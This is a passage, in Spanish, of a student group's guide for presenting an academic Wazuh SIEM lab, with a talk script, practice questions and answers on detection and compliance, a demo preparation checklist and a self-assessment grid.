Si algún ataque no generó alerta. Es posible, y si ocurre hay que llamarlo por su nombre: es un falso negativo. Indica que la fuente de log no se está recolectando o que el `if_sid` de la regla no corresponde a esa fuente. La corrección pasa por desplegar Sysmon en los endpoints para capturar la línea de comando completa en su Event ID 1 y reencadenar la regla al decoder correspondiente.

Parte 3. Guion de la exposición

La exposición dura entre veinte y veinticinco minutos, más preguntas. El orden sigue la lógica de construcción del laboratorio: primero qué es y para qué sirve, después cómo se montó, luego cómo se le dio visibilidad, después cómo se le enseñó a detectar, y por último la comprobación de que detecta.

Minutos	Quién	Contenido
0–2	Int. 1	Presentación, problema y objetivos
2–6	Int. 1	SIEM y XDR, arquitectura de Wazuh, topología
6–10	Int. 2	Instalación del stack, credenciales, puertos, demostración
10–14	Int. 3	Despliegue de agentes, flujo del log, agentes activos
14–19	Int. 1	Las tres reglas y su mapeo MITRE
19–24	Int. 4	Ejecución de ataques y verificación de alertas
24–25	Int. 1	Conclusiones, limitaciones y mejoras

Las transiciones importan más de lo que parece, porque son lo que hace que la exposición se lea como un trabajo de grupo y no como cuatro presentaciones pegadas. Del primero al segundo: ya conocen la arquitectura, ahora cómo la construimos. Del segundo al tercero: con el servidor operativo, el paso siguiente era llevar visibilidad a los endpoints. Del tercero al primero: los logs ya llegan, la pregunta ahora es cómo decidimos qué es malicioso. Del primero al cuarto: una regla sin validar no sirve de nada, así que atacamos el laboratorio para comprobarlo.

El cierre lo lleva el Integrante 1 y debe tocar cuatro puntos. Que los cinco objetivos del proyecto se cumplieron, enumerándolos rápido. Que el aprendizaje central es que la detección no es un producto que se instala sino un proceso de afinamiento entre reglas, telemetría y validación ofensiva. Las limitaciones que reconocemos: es un entorno de laboratorio, la detección por patrones es evadible y no desplegamos Sysmon. Y las mejoras que seguirían: Sysmon, Active Response, integración con VirusTotal, FIM sobre rutas críticas y reglas de correlación entre equipos.

Parte 4. Preguntas cruzadas

Estas pueden caerle a cualquiera. Repásenlas juntos y en voz alta.

Por qué Wazuh y no Splunk, QRadar o Elastic Security. Es open source, sin costo de licencia por volumen de datos ingeridos, que es justamente el modelo de cobro que hace caro a Splunk. Tiene agente propio multiplataforma, mapeo MITRE integrado y una comunidad activa. Las alternativas comerciales son más potentes en algunos aspectos pero su licenciamiento las hace inviables tanto para un laboratorio académico como para buena parte de las pymes.

Si un SIEM sustituye al antivirus o al firewall. No. Son capas distintas de defensa en profundidad. El firewall filtra tráfico, el antivirus bloquea archivos conocidos y el SIEM aporta visibilidad y correlación sobre lo que las otras capas no vieron. El ataque de PowerShell ofuscado del proyecto es el ejemplo: ningún antivirus por firmas lo detecta porque no hay archivo que analizar.

Diferencia entre detección y prevención. La prevención impide que el ataque ocurra; la detección descubre que ocurrió o está ocurriendo. Se invierte en detección precisamente porque se asume que la prevención va a fallar en algún momento.

Qué es peor, un falso positivo o un falso negativo. El falso negativo, porque el ataque pasó y nadie se enteró. Pero un exceso de falsos positivos también es peligroso: produce fatiga de alertas y termina con analistas que ignoran por costumbre las alertas reales.

Qué pasa si el atacante detiene el agente. El manager detecta que pasó a estado desconectado y eso genera una alerta. Detener el agente es en sí mismo un indicador de compromiso.

Dónde se guardan las alertas. En `/var/ossec/logs/alerts/alerts.json` en el manager, y Filebeat las envía al indexer para poder buscarlas y visualizarlas.

Cómo escalarían esto a una empresa real. Separando componentes, con el indexer en clúster, definiendo política de retención de logs, habilitando respuesta activa, integrando con un sistema de tickets, desplegando Sysmon por directiva de grupo y estableciendo un proceso formal de respuesta a incidentes con roles y tiempos definidos.

Qué normativa exige monitoreo de logs. PCI DSS lo trata en su requisito 10, sobre registro y monitoreo de accesos. ISO 27001 lo cubre en los controles de registro y monitoreo. También aparece en SOC 2 y en HIPAA.

Qué es el ruido y cómo se controla. Eventos irrelevantes que saturan el sistema y ocultan lo importante. Se controla con exclusiones, ajuste de niveles, filtros por grupo de agentes y revisión periódica de qué reglas son las que más disparan.

Parte 5. Preparación

El día anterior

Comprueben que las cuatro máquinas encienden con sus IPs correctas y tomen un snapshot de cada una antes de la demostración, para poder revertir si algo se rompe. Verifiquen que `wazuh-manager`, `wazuh-indexer` y `wazuh-dashboard` estén en estado activo, que los dos agentes aparezcan como Active y que las tres reglas estén cargadas y probadas con `wazuh-logtest`. Ejecuten los cuatro ataques al menos una vez completa y confirmen que las alertas aparecen.

Dejen el rango de tiempo del dashboard preconfigurado y la sesión iniciada. Perder dos minutos escribiendo una contraseña generada de treinta caracteres delante de todos es evitable.

Plan B

Esto no es opcional. Tengan capturas de pantalla de cada alerta generada en un documento de respaldo, y una grabación en video de la demostración completa, de un minuto o minuto y medio. Si la red falla o una VM no arranca, la exposición continúa con el video y nadie se entera de que hubo un problema.

Tengan también los comandos en un archivo de texto listo para copiar y pegar. Escribir comandos largos en vivo termina en errores de tipeo y en silencios incómodos.

La exposición

Cada uno debe haber ensayado su parte en voz alta al menos dos veces, y el grupo completo una vez con cronómetro. Todos deben poder responder las preguntas cruzadas de la Parte 4. Y hay que decidir de antemano quién responde si preguntan algo que nadie preparó.

Si te preguntan algo que no es tuyo, no digas simplemente que no sabes. Da el marco general con lo que aprendiste en la Parte 1 y refiere el detalle a quien lo desarrolló: "esa parte la trabajó fulano y puede darte el detalle; a nivel general, lo que te puedo decir es que...". Eso demuestra que el grupo se coordinó, que es parte de lo que se está evaluando.

Parte 6. Autoevaluación

Cada uno se califica del 1 al 5 en los siguientes puntos. Todo lo que quede en 3 o menos se repasa, y la meta del grupo es que nadie llegue con un criterio por debajo de 4.

	1–5
Explico qué es un SIEM y qué añade XDR sin leer	
Nombro los cuatro componentes de Wazuh y su función	
Describo el recorrido completo de un log	
Explico mis comandos línea por línea, entendiéndolos	
Explico las tres reglas y su mapeo MITRE	
Sé qué ataque activa qué regla	
Encuentro una alerta en el dashboard sin ayuda	
Respondo las preguntas cruzadas de la Parte 4	
Reconozco al menos dos limitaciones del proyecto	
Ejecuto mi demostración en menos de cinco minutos	